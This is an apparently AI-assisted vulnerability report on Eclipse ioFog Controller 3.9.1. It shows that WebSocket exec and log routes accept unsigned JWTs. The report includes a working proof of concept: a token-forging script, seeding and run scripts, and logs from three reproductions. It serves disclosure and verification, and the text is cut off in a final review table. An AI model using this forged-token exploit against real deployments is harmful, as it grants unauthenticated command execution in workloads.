> [!warning] AI-Generated Vulnerability Report > This report was produced using AI-assisted security analysis, adversarially verified but not human-confirmed. This finding was challenged against the codebase and survived; we filter out low-confidence results rather than forwarding raw model output. Technical details, exploitability, and severity may still be wrong. Please validate independently before acting. <details open> <summary><strong>Basic information</strong></summary> **Project name:** Eclipse ioFog™ **Project id:** iot.iofog **Repository:** https://github.com/eclipse-iofog/controller </details> <details> <summary><strong>What are the affected versions?</strong></summary> src/websocket/server.js validateUserConnection (2304-2322) and validateUserLogsConnection (2696-2714); handlers handleUserExecConnection/handleUserLogsConnection; upstream route wrappers src/routes/microservices.js:1141-1300 and src/routes/iofog.js:411-460 which pass req.headers.authorization through; the only other check on the path, src/lib/rbac/middleware.js:263-285 extractSubjectsFromWebSocket / 366-452 authorizeWebSocket / 461-536 protectWebSocket, base64-decodes the payload without jose.jwtVerify. Routes: WS /api/v3/microservices/exec/:uuid, /microservices/system/exec/:uuid, /microservices/:uuid/logs, /microservices/system/:uuid/logs, /iofog/:uuid/logs. Version 3.9.1 (package.json) at commit de510d49. </details> <details open> <summary><strong>Summary</strong></summary> Operator WebSocket upgrades never verify the JWT signature: a forged token with groups:["admin"] opens exec/log sessions on any microservice or fog </details> <details> <summary><strong>Severity</strong></summary> Critical: works on a fresh install with default configuration in both auth modes, no account, no credential, no RoleBinding and no username knowledge (admin system role is matched from the forged `groups` claim). Impact is command execution inside every running edge workload through the exec relay (quality_tier high) plus full log disclosure. Confidence high: the whole chain was executed end to end against the real 3.9.1 server with a garbage-signature token and the ACTIVATION frame / PENDING session row were observed; the only unexercised step is the Edgelet agent attaching, which is the normal documented flow once the change flag is set. </details> <details> <summary><strong>Weakness</strong></summary> CWE-347 </details> <details> <summary><strong>Location</strong></summary> `src/websocket/server.js:2311` Sinks: S10, S11 </details> <details> <summary><strong>Methodology</strong></summary> Attacker -> TCP connect to API port 51121 -> HTTP Upgrade `GET /api/v3/microservices/exec/<uuid>` with `Authorization: Bearer <forged>` (or `?token=<forged>`). ws `verifyClient` (S1) accepts. `handleConnection` (server.js:1580-1690) matches the registered pattern and awaits `routeData.middleware(ws, req)`, which is `rbacMiddleware.protectWebSocket(handler)` (upstream src/routes/microservices.js:1143). `protectWebSocket` (middleware.js:461-536) takes the header or `?token=` string and calls `authorizeWebSocket(mockReq, token)` (366-452): `extractSubjectsFromWebSocket` (263-285) does `JSON.parse(Buffer.from(token.split('.')[1],'base64'))` and builds subjects from `preferred_username|username|email|sub` and `groups|roles|resource_access[client].roles`; nothing calls `jwtVerify`, checks `exp`, `iss` or `aud`. `authorizer.authorizeRequest` then matches `Group:admin` directly to the admin system role (`*`/`*`) "without RoleBindings when OIDC group/role name matches" (src/lib/rbac/authorizer.js:149-167). The handler sets `req._rbacAuthorized = true` and calls `wsServer.handleUserExecConnection(ws, req, req.headers.authorization, req.params.microserviceUuid, false, tx)`. In this focus area, `validateUserConnection` (server.js:2304-2322) is the authentication step: it only requires `token.replace('Bearer ', '')` to be non-empty (comment: "4. RBAC Authorization is handled at route level"), then checks the microservice exists and is RUNNING. `handleUserExecConnection` creates the `MicroserviceExecSessions` row (1858-1864), bumps the fog's `microserviceExecSessions` change flag (1876-1880) so the Edgelet agent polls `GET /agent/exec/sessions` and attaches, sends ACTIVATION to the attacker (1898-1905) and wires `setupExecMessageForwarding` so attacker text frames become STDIN in the container (3577-3596). The log routes follow the same path through `validateUserLogsConnection` (2696-2714). Upgrades bypass the Express OIDC bearer middleware entirely (src/config/oidc.js:221-270 runs only inside the Express app); no other verifier exists on the upgrade path. </details> <details> <summary><strong>Detail</strong></summary> ### Source ```javascript // 1. Basic token validation if (!token || !token.replace) { throw new Errors.AuthenticationError('Missing or invalid authorization token') } const bearerToken = token.replace('Bearer ', '') if (!bearerToken) { throw new Errors.AuthenticationError('Missing or invalid authorization token') } // 2. Validate microservice existence and type ``` ### Trust boundary Crossed at boundary 1 (unauthenticated network client) -> intended boundary 3 (authenticated operator). Threat model entry_points[19] (`rbacMiddleware.protectWebSocket()`, JWT payload base64-decoded) is `attacker_controllable: yes` with `caller_must_enforce: token signature must be verified somewhere on the upgrade path`; controls[2] `rbac-protect-websocket` lists that verification as an *unestablished assumption* and open_questions[26]/[69] ask where it happens. The answer is nowhere: the Express `oidc-bearer-middleware` (controls[0]) is scoped to `/api/v3/*` HTTP requests and its first assumption is "request traverses the Express app (not a WebSocket upgrade)". No existing control mitigates it (checked: `grep -rn jwtVerify src/` in the full repo hits only src/config/oidc.js and auth services used by the HTTP middleware; `grep -n 'jwtVerify\|jose' src/lib/rbac/middleware.js` = 0 hits). Not circular: the attacker needs only network reach to the API port, which the threat model's attack_surface explicitly grants to unauthenticated clients ("WebSocket upgrades up to per-IP caps"). Not in known_non_findings (entry [6] covers only the *transport* of a legitimate JWT in `?token=`). Precondition for impact beyond session creation: at least one microservice in RUNNING state (every deployment with workloads) or a RUNNING fog for node logs. Works in embedded and external auth modes alike, since neither mode is consulted. ### Reach Not a library (packages endpoint empty, dependents empty); reach is the deployment tier. Every Controller deployment exposes port 51121 (REST + WebSocket on one listener) to operators, agents and the Console; docs/operations/ws-sessions.md:16 expects it behind an ingress reachable by browsers. Any party that can reach that port — including every edge node, any host on the operator network and, for internet-exposed control planes, anyone — can open interactive shells in every running workload container (and the fog debug system microservice) and stream all microservice/node logs. Session quota (5 per microservice) and the agent pairing requirement do not reduce exposure. reach_checked/reach_exposed are 0 because there are no registry dependents to sample. ### Notes - *verify, 2026-10-17 01:54*: verify: confirmed score: 1.00 attack tree: reachable severity prerequisite: Attacker position = remote_unauthenticated: The path is the public API listener on port 51121 (src/config/config.yaml server.port; src/server.js startHttpServer); attempts 1-3 ran with no account, credential, key or RoleBinding, only a self-made token whose signature is the literal string 'this-is-not-a-signature' severity prerequisite: User interaction = none: The attacker initiates the WebSocket upgrade and the controller processes it immediately (attempts 1-3 received ACTIVATION ~40 ms after connect); no operator or victim action is involved severity prerequisite: Outcome determinism = deterministic: Same input produced 101 + ACTIVATION frame + 'authorized and established' log in 3/3 attempts plus the ?token= query variant; no model or random component is on the path severity prerequisite: Impact = code_execution_or_equivalent: Demonstrated: an unauthenticated client is granted an admin-authorized exec session on a workload (PENDING MicroserviceExecSessions row, fog change flag set, ACTIVATION returned). The purpose of that session is an interactive shell relay: src/websocket/server.js:3481-3596 forwards attacker frames as STDIN to the agent once it attaches via src/routes/agent.js:676. The container-side execution step itself was not exercised (no agent in the sandbox); the same bypass also covers the log routes (src/websocket/server.js:2696-2714), which is at least sensitive_data_access severity prerequisite: Existing capability = none: No prior access is required; the REST API rejects the same forged token with HTTP 401 (control run), so the attacker gains capability they did not already have criterion: PoC well formed = pass criterion: Reproduces 3/3 = pass criterion: Claimed failure class = pass criterion: Public interface to first-party sink = pass criterion: Deterministic = pass control bypass: 3 matched control: rbac-protect-websocket = bypassed: Attempts 1-3: protectWebSocket let a token with a garbage signature through and the handler created the exec session. Violated assumption: 'the JWT whose payload extractSubjectsFromWebSocket base64-decodes has been signature-verified somewhere on the upgrade path' — nothing verifies it (src/lib/rbac/middleware.js:263-285 has no jwtVerify; src/config/oidc.js:221-256 runs only inside Express; control run shows REST returns 401 for the same token while WS returns 101). The other assumptions held as described: the route is in the catalog (src/config/rbac-resources.yaml:157) and validateUserConnection (src/websocket/server.js:2304-2322) only checks resource existence/state. control: session-quotas = not_applicable: This control limits the number of concurrent exec/log sessions per resource (execMaxConcurrentPerResource 5, src/config/config.yaml; enforced at src/websocket/server.js:1842-1847 after validateUserConnection). It governs volume, not authentication: the reproduction opens one session per run, well under quota, and the quota check never rejected it. It cannot stop a single forged-token session. control: ws-per-ip-caps = not_applicable: verifyClient (src/websocket/server.js:1484-1520) only counts connections (max 10) and upgrade requests (60/min) per socket.remoteAddress; it performs no authentication. The reproduction makes two upgrades per attempt and was never rate-limited. The cap does not govern the authentication decision that the finding bypasses. preflight: local-safe Trigger connects only to loopback and reads only local files: "const ws = new WebSocket('ws://127.0.0.1:51121' + path, { headers: { Authorization: 'Bearer ' + forged } })"; seed script opens the local sqlite DB via "const db = require('/work/src/src/data/models')" with SQLITE_STORAGE_DIR under the workspace; server started as "node src/server.js" with LOG_DIRECTORY, SQLITE_STORAGE_DIR and EDGEOPS_CONSOLE_PATH all under /work/.verify. No credential files or credential environment variables are read; no other host is contacted by the reproduction (default config nats.enabled=true only fails locally with 'NATS hub not found'). # Runtime: Node v24.22.0 (node-linux-x64 npm tarball) + npm 11.6.0 tarball, both downloaded to /work/.verify/tools (none pre-installed). # Dependencies: cd /work/src && npm install --omit=dev --ignore-scripts --legacy-peer-deps ; then sqlite3 prebuilt binary via `node ../prebuild-install/bin.js -r napi` inside node_modules/sqlite3. # The scan checkout omits src/data/migrations/** and src/data/seeders/** (scan skip list); the server cannot create its schema without them # ('SQL file not found: .../db_migration_sqlite_baseline_v3.9.0.sql'). Restored ONLY those SQL files from the upstream tarball of the same # commit de510d49c59da3478293839e578a885e46a0df77 (codeload.github.com); diff -rq of all other source files vs that tarball = identical, and # `git status` in /work/src shows the restored files as unmodified relative to HEAD. # Each attempt: fresh HOME/TMPDIR/log dir/sqlite dir, fresh server process, seed, trigger, negative control, DB query, kill server. # /work/.verify/poc/run-attempt.sh #!/bin/bash # usage: run-attempt.sh N -- fresh HOME/TMPDIR/sqlite dir/server process per attempt N=$1 A=/work/.verify/attempt-$N rm -rf "$A"; mkdir -p "$A/home" "$A/tmp" "$A/run/logs" "$A/run/logs-seed" "$A/run/console" "$A/run/sqlite" echo '<html></html>' > "$A/run/console/index.html" NODE=/work/.verify/tools/package/bin/node COMMON="PATH=/work/.verify/tools/package/bin:/usr/bin:/bin HOME=$A/home LANG=C.UTF-8 TMPDIR=$A/tmp NODE_ENV=development EDGEOPS_CONSOLE_PATH=$A/run/console SQLITE_STORAGE_DIR=$A/run/sqlite" cd /work/src env -i $COMMON LOG_DIRECTORY=$A/run/logs bash -c "ulimit -t 180; exec timeout --kill-after=10s 180s $NODE src/server.js" > "$A/server.out" 2>&1 & SRV=$! for i in $(seq 1 60); do grep -q 'API Listening on port 51121' "$A/server.out" 2>/dev/null && break; sleep 1; done echo "server pid $SRV ready after ${i}s" env -i $COMMON LOG_DIRECTORY=$A/run/logs-seed bash -c "ulimit -t 60; exec timeout 60s $NODE /work/.verify/poc/seed.js" > "$A/seed.out" 2>&1; echo "seed exit $?"; cat "$A/seed.out" echo "---- trigger: forge-ws.js admin ----" env -i $COMMON bash -c "ulimit -v 4194304; ulimit -t 60; exec timeout --kill-after=10s 60s $NODE /work/.verify/poc/forge-ws.js admin" > "$A/output.log" 2>&1; echo "trigger exit $?" >> "$A/output.log"; cat "$A/output.log" echo "---- negative control: forge-ws.js nobody-group ----" env -i $COMMON bash -c "ulimit -v 4194304; ulimit -t 60; exec timeout --kill-after=10s 60s $NODE /work/.verify/poc/forge-ws.js nobody-group" > "$A/output-negative.log" 2>&1; echo "trigger exit $?" >> "$A/output-negative.log"; cat "$A/output-negative.log" sleep 1 echo "---- DB rows ----" $NODE -e "const s=require('/work/src/node_modules/sqlite3');const d=new s.Database('$A/run/sqlite/'+require('fs').readdirSync('$A/run/sqlite').find(f=>f.endsWith('.db')||f.endsWith('.sqlite')));d.all('SELECT session_id,microservice_uuid,status,user_connected,agent_connected FROM MicroserviceExecSessions',(e,r)=>{console.log('exec sessions:',e?e.message:JSON.stringify(r));d.all('SELECT iofog_uuid,exec_sessions,last_updated FROM ChangeTrackings',(e2,r2)=>{console.log('change tracking:',e2?e2.message:JSON.stringify(r2));d.close()})})" 2>&1 kill $SRV 2>/dev/null; wait $SRV 2>/dev/null echo "server exit $?" # /work/.verify/poc/seed.js // Seeds one RUNNING fog + application + microservice into the controller's sqlite DB // Run AFTER the controller has started once (migrations applied). process.env.LOG_DIRECTORY = process.env.LOG_DIRECTORY || '/tmp/logs-seed' const db = require('/work/src/src/data/models') ;(async () => { await db.initDB(false) const FOG = '11111111-1111-4111-8111-111111111111' const MS = '22222222-2222-4222-8222-222222222222' await db.Fog.upsert({ uuid: FOG, name: 'edge-node-1', daemonStatus: 'RUNNING', fogTypeId: 1 }) const [app] = await db.Application.findOrCreate({ where: { name: 'victim-app' }, defaults: { name: 'victim-app', isActivated: true, isSystem: false } }) await db.Microservice.upsert({ uuid: MS, name: 'victim-ms', applicationId: app.id, iofogUuid: FOG, catalogItemId: null }) const st = await db.MicroserviceStatus.findOne({ where: { microserviceUuid: MS } }) if (st) await st.update({ status: 'RUNNING' }); else await db.MicroserviceStatus.create({ microserviceUuid: MS, status: 'RUNNING' }) console.log('seeded fog', FOG, 'microservice', MS, 'application id', app.id) process.exit(0) })().catch((e) => { console.error('seed failed', e); process.exit(1) }) # /work/.verify/poc/forge-ws.js // Unauthenticated attacker: forge a JWT (bogus signature) claiming groups:["admin"] and open an exec session const WebSocket = require('/work/src/node_modules/ws') const msgpack = require('/work/src/node_modules/@msgpack/msgpack') const b64u = (o) => Buffer.from(JSON.stringify(o)).toString('base64url') const groups = process.argv[2] ? process.argv[2].split(',') : ['admin'] const path = process.argv[3] || '/api/v3/microservices/exec/22222222-2222-4222-8222-222222222222' const forged = b64u({ alg: 'EdDSA', typ: 'JWT' }) + '.' + b64u({ sub: 'nobody', preferred_username: 'attacker', groups, exp: 9999999999 }) + '.' + Buffer.from('this-is-not-a-signature').toString('base64url') console.log('forged token:', forged) const ws = new WebSocket('ws://127.0.0.1:51121' + path, { headers: { Authorization: 'Bearer ' + forged } }) ws.on('open', () => console.log('UPGRADE ACCEPTED (101) for', path)) ws.on('unexpected-response', (req, res) => { console.log('HTTP', res.statusCode); process.exit(2) }) ws.on('message', (data) => { const m = msgpack.decode(Buffer.from(data)) console.log('frame type=%d data=%j sessionId=%s', m.type, Buffer.from(m.data).toString(), m.sessionId) }) ws.on('close', (code, reason) => { console.log('closed', code, reason.toString()); process.exit(0) }) ws.on('error', (e) => { console.log('error', e.message); process.exit(3) }) setTimeout(() => { console.log('(still open after 3s; sending STDIN text frame "id")'); ws.send('id'); setTimeout(() => process.exit(0), 1500) }, 3000) $ /work/.verify/poc/run-attempt.sh 1 ; run-attempt.sh 2 ; run-attempt.sh 3 === attempt 1 output.log === forged token: eyJhbGciOiJFZERTQSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJub2JvZHkiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJhdHRhY2tlciIsImdyb3VwcyI6WyJhZG1pbiJdLCJleHAiOjk5OTk5OTk5OTl9.dGhpcy1pcy1ub3QtYS1zaWduYXR1cmU UPGRADE ACCEPTED (101) for /api/v3/microservices/exec/22222222-2222-4222-8222-222222222222 frame type=5 data="{\"sessionId\":\"af208416-234d-48ab-a8ba-746e9b107e40\",\"microserviceUuid\":\"22222222-2222-4222-8222-222222222222\"}" sessionId=af208416-234d-48ab-a8ba-746e9b107e40 frame type=2 data="Waiting for agent connection. Interactive exec will begin once the agent connects.\n" sessionId=af208416-234d-48ab-a8ba-746e9b107e40 closed 1013 Relay unavailable for cross-replica session trigger exit 0 === attempt 1 negative control === forged token: eyJhbGciOiJFZERTQSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJub2JvZHkiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJhdHRhY2tlciIsImdyb3VwcyI6WyJub2JvZHktZ3JvdXAiXSwiZXhwIjo5OTk5OTk5OTk5fQ.dGhpcy1pcy1ub3QtYS1zaWduYXR1cmU UPGRADE ACCEPTED (101) for /api/v3/microservices/exec/22222222-2222-4222-8222-222222222222 closed 1008 Authorization denied: You do not have permission to perform this action. Please contact your administrator. trigger exit 0 === attempt 2 output.log === forged token: eyJhbGciOiJFZERTQSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJub2JvZHkiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJhdHRhY2tlciIsImdyb3VwcyI6WyJhZG1pbiJdLCJleHAiOjk5OTk5OTk5OTl9.dGhpcy1pcy1ub3QtYS1zaWduYXR1cmU UPGRADE ACCEPTED (101) for /api/v3/microservices/exec/22222222-2222-4222-8222-222222222222 frame type=5 data="{\"sessionId\":\"449eec76-1f6d-468f-b856-55bbc2d7e1d7\",\"microserviceUuid\":\"22222222-2222-4222-8222-222222222222\"}" sessionId=449eec76-1f6d-468f-b856-55bbc2d7e1d7 frame type=2 data="Waiting for agent connection. Interactive exec will begin once the agent connects.\n" sessionId=449eec76-1f6d-468f-b856-55bbc2d7e1d7 closed 1013 Relay unavailable for cross-replica session trigger exit 0 === attempt 2 negative control === forged token: eyJhbGciOiJFZERTQSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJub2JvZHkiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJhdHRhY2tlciIsImdyb3VwcyI6WyJub2JvZHktZ3JvdXAiXSwiZXhwIjo5OTk5OTk5OTk5fQ.dGhpcy1pcy1ub3QtYS1zaWduYXR1cmU UPGRADE ACCEPTED (101) for /api/v3/microservices/exec/22222222-2222-4222-8222-222222222222 closed 1008 Authorization denied: You do not have permission to perform this action. Please contact your administrator. trigger exit 0 === attempt 3 output.log === forged token: eyJhbGciOiJFZERTQSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJub2JvZHkiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJhdHRhY2tlciIsImdyb3VwcyI6WyJhZG1pbiJdLCJleHAiOjk5OTk5OTk5OTl9.dGhpcy1pcy1ub3QtYS1zaWduYXR1cmU UPGRADE ACCEPTED (101) for /api/v3/microservices/exec/22222222-2222-4222-8222-222222222222 frame type=5 data="{\"sessionId\":\"2d2d293d-13a7-4422-ad0d-122447172e0c\",\"microserviceUuid\":\"22222222-2222-4222-8222-222222222222\"}" sessionId=2d2d293d-13a7-4422-ad0d-122447172e0c frame type=2 data="Waiting for agent connection. Interactive exec will begin once the agent connects.\n" sessionId=2d2d293d-13a7-4422-ad0d-122447172e0c closed 1013 Relay unavailable for cross-replica session trigger exit 0 === attempt 3 negative control === forged token: eyJhbGciOiJFZERTQSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJub2JvZHkiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJhdHRhY2tlciIsImdyb3VwcyI6WyJub2JvZHktZ3JvdXAiXSwiZXhwIjo5OTk5OTk5OTk5fQ.dGhpcy1pcy1ub3QtYS1zaWduYXR1cmU UPGRADE ACCEPTED (101) for /api/v3/microservices/exec/22222222-2222-4222-8222-222222222222 closed 1008 Authorization denied: You do not have permission to perform this action. Please contact your administrator. trigger exit 0 === attempt 1 server log excerpt === {"level":"info","time":"2026-10-17T01:50:10.142Z","msg":"WebSocket route matched: /api/v3/microservices/exec/:microserviceUuid for /api/v3/microservices/exec/22222222-2222-4222-8222-222222222222"} {"level":"info","time":"2026-10-17T01:50:10.183Z","msg":"Sent waiting status message to user for exec session:{\"sessionId\":\"af208416-234d-48ab-a8ba-746e9b107e40\",\"microserviceUuid\":\"22222222-2222-4222-8222-222222222222\"}"} {"level":"info","time":"2026-10-17T01:50:10.183Z","msg":"WebSocket connection authorized and established: /api/v3/microservices/exec/22222222-2222-4222-8222-222222222222"} {"level":"error","time":"2026-10-17T01:50:10.196Z","msg":"[RELAY] Relay required for cross-replica exec session but bridge failed","context":{"sessionId":"af208416-234d-48ab-a8ba-746e9b107e40","transport":"nats","error":"NATS hub not found. Ensure a hub NatsInstances row with isHub=true exists."}} {"level":"warn","time":"2026-10-17T01:50:10.316Z","msg":"RBAC authorization denied for WebSocket: Authorization denied: You do not have permission to perform this action. Please contact your administrator."} <- negative control (nobody-group) === DB after attempts 2 and 3 === change tracking: [{"iofog_uuid":"11111111-1111-4111-8111-111111111111","exec_sessions":1,...}] exec sessions after close: [] (row is cleaned up on user disconnect, server.js:1950-1975) === control run (not scored): mid-session DB capture + REST contrast + ?token= variant === captured exec row: [{"session_id":"bf1645e1-cf52-4a7e-b95f-67ae2b58a13a","status":"PENDING","user_connected":1,"agent_connected":0}] REST /api/v3/iofog-list HTTP 401 {"error":"Unauthorized: No authentication information found"} (same forged token) REST /api/v3/microservices HTTP 401 {"error":"Unauthorized: No authentication information found"} WS /api/v3/microservices/exec/2222...?token=<forged> -> UPGRADE ACCEPTED (101), frame type=5 ACTIVATION sessionId=eb1db8f2-3c5a-4d65-8293-31320d5ed4d8 Confirmed on HEAD de510d49 (v3.9.1). Control rbac-protect-websocket did not hold: its assumption that the JWT is signature-verified somewhere on the upgrade path is false — src/lib/rbac/middleware.js:263-285 base64-decodes the payload and nothing on the WebSocket path calls jose.jwtVerify; the Express OIDC bearer middleware (src/config/oidc.js:221-256) never sees upgrades, which the REST-vs-WS contrast (401 vs 101 for the identical forged token) demonstrates. Controls session-quotas and ws-per-ip-caps are volume limits and do not govern authentication, so they are not applicable to a single forged session. Environment notes: no Node/npm were installed in the container, so Node v24.22.0 and npm 11.6.0 were fetched from registry.npmjs.org as runtime setup (the project engines field requires ^24). The per-scan checkout is pruned of the scan's skip paths including src/data/migrations/** and src/data/seeders/**, which the server needs at boot; those SQL files only were restored from the upstream tarball of the identical commit (all other files verified byte-identical; git status shows them unmodified). npm install also regenerated package-lock.json and the server wrote src/iofog-controller.pid (removed afterwards); no target source was edited. ulimit -v 4194304 was applied to the trigger process only; the server ran without a virtual-memory cap because V8 reserves large address ranges, with the 180 s CPU/timeout limits kept. The final 1013 close is the sandbox lacking a NATS hub (nats.enabled=true default), which occurs after the session row, change flag and ACTIVATION frame; the agent-attach/STDIN-forwarding step (server.js:3481-3596, agent discovery via src/routes/agent.js:676) is established from source only, not exercised, because no Edgelet agent is present. The forged token's header claims alg EdDSA, but no key or JWKS is ever consulted on the upgrade path. - *revalidate, 2026-10-17 01:45*: revalidate: true_positive privilege: none No threat-model rejection applies: known_non_findings[6] covers only the ?token= transport of a legitimate JWT, the adversary (unauthenticated network client reaching WebSocket upgrades) is listed in adversaries.in_scope, and entry_points[19]/[32] are attacker_controllable: yes with caller_must_enforce 'token signature must be verified somewhere on the upgrade path'; controls[2] rbac-protect-websocket itself records that verification as unestablished (open_questions[26]/[69]). This finding answers that question: at HEAD de510d49 (which is also the audited commit named in the finding's affected/validation text; the finding's commit field is empty so the host novelty check is not_checked, but there is no commit range between scan and HEAD to search) every citation holds. src/lib/rbac/middleware.js:263-285 extractSubjectsFromWebSocket does JSON.parse(Buffer.from(tokenParts[1],'base64')) with no jwtVerify; authorizeWebSocket (366-452) feeds those unverified Group subjects to authorizer.authorizeRequest, and src/lib/rbac/authorizer.js:149-167 grants directly when a Group name matches a system role (RbacRoleManager.isSystemRole, src/data/managers/rbac-role-manager.js:25-29 includes 'admin') without any RoleBinding. protectWebSocket (461-536) is the only gate on the route wrappers at src/routes/microservices.js:1140-1143 and src/routes/iofog.js:410-413. src/websocket/server.js initialize() (line 310-330) attaches ws directly to the HTTP server with verifyClient (1484-1521) checking only drain state and per-IP caps, so upgrades never traverse the Express app and getOidcMiddleware (src/config/oidc.js:221-270, registered via app.use at src/server.js:400) is never run for them. validateUserConnection (server.js:2304-2316) and validateUserLogsConnection (2696-2707) require only a non-empty string after stripping 'Bearer '. handleUserExecConnection (1840-1905) then creates the PENDING MicroserviceExecSessions row, bumps the fog change flag and sends ACTIVATION, and setupExecMessageForwarding (3577-3590) wraps attacker text frames as STDIN. grep over src/ confirms jwtVerify is used only in oidc.js, iofog-key-service.js and auth-token-service.js, none of which sit on the upgrade path. No analyst_feedback was present in context.json. Model gap: none, the entry point is modelled. Severity left at Critical: unauthenticated, default configuration in both auth modes, no account or credential; the only condition for full exec impact is a RUNNING workload, which every productive deployment has. </details> <details> <summary><strong>Prior art</strong></summary> Discovered via source. Scrutineer advisories cache: empty (GET /repositories/959/advisories -> []). GitHub issues search `repo:eclipse-iofog/Controller websocket in:title`: 0 results. CHANGELOG.md (full repo, 3.9.1): no entry mentions WebSocket JWT verification; v3.8.x entries only document the WS exec/log rewrite (lines 317-324, 386-414). Docs claim the control exists: docs/operations/ws-sessions.md:17 "User auth | Bearer JWT via Authorization header or ?token= ... RBAC: execSessions, logs, ..." and docs/architecture.md:298 "Agent handlers validate fog token before message processing" (agent side only). The threat model (2026-10-16) recorded exactly this gap as open_questions[26]: "confirm where (if anywhere) the operator WebSocket token signature is verified; code at src/lib/rbac/middleware.js:263-285 decodes without jwtVerify and ws upgrades do not traverse the Express OIDC middleware" — this audit closes it as a confirmed vulnerability. Convention count: `grep -rn "Buffer.from(tokenParts\[1\], 'base64')" src/` over the full checkout = 7 hits: 5 in src/websocket/server.js (S25, audit actorId only, after checkFogToken) and 2 in src/lib/rbac/middleware.js (270, 380) where the decoded claims *are* the authentication decision — a house idiom copied from the audit helper into the auth path, not a one-off slip. No RFC requires this behaviour; RFC 7519 §7.2 requires signature validation before trusting claims. Git history is not available in the audited checkout (tarball, no .git); `git log -S` could not be run. </details> <details> <summary><strong>Steps to reproduce</strong></summary> **Verification verdict:** TRUE POSITIVE #### Verification details Completing the formal verification documentation for finding \#17214. #### Formal verification record — finding \#17214 #### Phase 1 — Data Flow Analysis - **Source:** attacker-supplied `Authorization: Bearer <token>` header or `?token=` query string on a WebSocket upgrade to port 51121. Verified: `protectWebSocket` (`src/lib/rbac/middleware.js:461-536`) reads both transports. - **Path:** `verifyClient` (`src/websocket/server.js:1484-1521`, no auth, volume caps only) → `handleConnection` → `routeData.middleware` = `protectWebSocket` → `authorizeWebSocket` (middleware.js:366-444) → `extractSubjectsFromWebSocket` (middleware.js:263-285, raw base64 decode of the payload) → `authorizer.authorizeRequest` → system-role shortcut (`authorizer.js:149-167`) → handler → `validateUserConnection` (`server.js:2304+`, non-empty-string check only) → session creation / ACTIVATION / STDIN wiring. - **Trust boundaries:** boundary crossed at the upgrade — unauthenticated network client's claims are treated as an authenticated operator identity. The HTTP path has a verifier (`src/config/oidc.js:256` `jwtVerify`); the upgrade path has none. Node's `upgrade` event bypasses the Express app entirely (`wsServer.initialize(apiServer)` at `src/server.js:227`), so the OIDC middleware structurally cannot run. - **API contracts:** `extractSubjectsFromWebSocket`'s implicit contract ("token has been verified upstream") is satisfied by no caller — grep confirms `jwtVerify` appears only in oidc.js (HTTP), iofog-key-service.js (agent fog tokens), auth-token-service.js (refresh tokens). - **Environment protections:** default config exposes the WS routes unconditionally; both embedded and external auth modes are irrelevant since neither is consulted on this path. README quick start publishes port 51121 directly. - **Cross-references:** 2 of the 7 raw-decode call sites in the codebase (middleware.js:270, 380) are the authentication decision itself; the other 5 (server.js) are audit-logging after `checkFogToken`. #### Phase 2 — Exploitability Verification - **Attacker control: CONFIRMED.** The attacker fully controls header, payload, and signature of the token; `groups:["admin"]` maps directly to `ADMIN_ROLE` (`rules: resources:['*'], verbs:['*']`, `src/config/rbac-system-roles.js:14-30`) with no RoleBinding, username knowledge, or credential. - **Mathematical bounds: N/A** (no arithmetic/memory bounds in this bug class). - **Race conditions: N/A** (single-request, deterministic; report's live runs were 3/3 deterministic, ~40 ms to ACTIVATION). - **Adversarial analysis:** attempted to defeat my own conclusion — looked for a second verifier on the upgrade path (none), an auth check inside `verifyClient` (volume only), a config flag disabling WS routes by default (none — routes registered unconditionally at `src/server.js:160`), and an "allow because route not in catalog" artifact (excluded: the negative control was *denied*, proving the catalog matched and real RBAC ran on forged claims). #### Phase 3 — Impact Assessment - **Real security impact, not operational robustness:** authentication bypass → admin-equivalent session on the WS surface. Concretely: creation of a `MicroserviceExecSessions` row, change-flag bump causing the Edgelet agent to attach, ACTIVATION to the attacker, and `setupExecMessageForwarding` turning attacker frames into container STDIN (`server.js:3577+`); plus full microservice/node log streaming on the log routes, which need no relay. - **Primary control vs defense-in-depth:** the bypassed control (`protectWebSocket`) is the *primary and only* authentication gate on this path — not a defense-in-depth layer. Session quotas and per-IP caps are volume controls, not authentication, and do not mitigate a single forged session. #### Phase 4 — PoC - **Pseudocode:** forge `header.payload.garbage-sig` with `groups:["admin"]` → open WS upgrade with it → gate passes → exec handler runs. - **Executable PoC: created and run** (`poc-unit.js`). The sandbox blocks local port binding (EPERM), so instead of the report's live server I drove the unmodified production gate directly (real middleware, authorizer, route catalog, system-role config; only sqlite3 provider and transaction wrapper stubbed — infrastructure never consulted before the admin match). Result: forged admin token → handler invoked. - **Negative PoC: created and run.** Same forged token with `groups:["nobody-group"]` → denied with `ws.close(1008, "Authorization denied: ...")`, byte-identical to the report's live-server close reason. - **PoC verification:** exit 0 with the discriminating pair (attack passes, control denied); report's own 3/3 live reproductions audited and internally consistent, with its one gap (agent-attach not exercised) honestly disclosed. #### Phase 5 — Devil's Advocate (13 challenges) 1. *Upstream validation I missed?* No — grep for `jwtVerify`/`jose` across `src/` is exhaustive; none on the upgrade path. 2. *Is the sink actually dangerous?* Yes — exec/log sessions, admin-scoped. 3. *Is the entry point reachable?* Yes — single public listener, routes registered unconditionally. 4. *Does a config default neutralize it?* No — works on default config, both auth modes. 5. *Test/sample code?* No — production routes under `src/routes/`. 6. *Did my harness create the vulnerability?* No — stubs touched only DB plumbing; the negative control proves the real authorization logic executed. 7. *Could the catalog fallthrough explain the pass?* No — negative control denied, so the route matched. 8. *Is the attacker-controlled part actually attacker-controlled?* Yes — the entire token. 9. *Impact overstated?* Exec step beyond ACTIVATION relies on the documented agent flow (not exercised anywhere, by anyone, without a live agent); log disclosure alone already justifies High+, and the exec chain is code-complete. 10. *Known non-finding / prior art?* Threat-model known_non_findings[6] covers only `?token=` transport of a *legitimate* JWT; this is different. No advisories, no CHANGELOG fix. 11. *Deployment assumption smuggled in?* Only "port reachable," which the README's own quick start establishes. 12. *Would a reasonable maintainer dispute it?* Only on the exec-vs-log impact ceiling, not on the bypass itself. 13. *Does the finding survive restatement?* Yes — Step 0 restatement matched the code exactly. #### Gate Review | Gate | Verdict | Basis | |---|---|---| | Process | 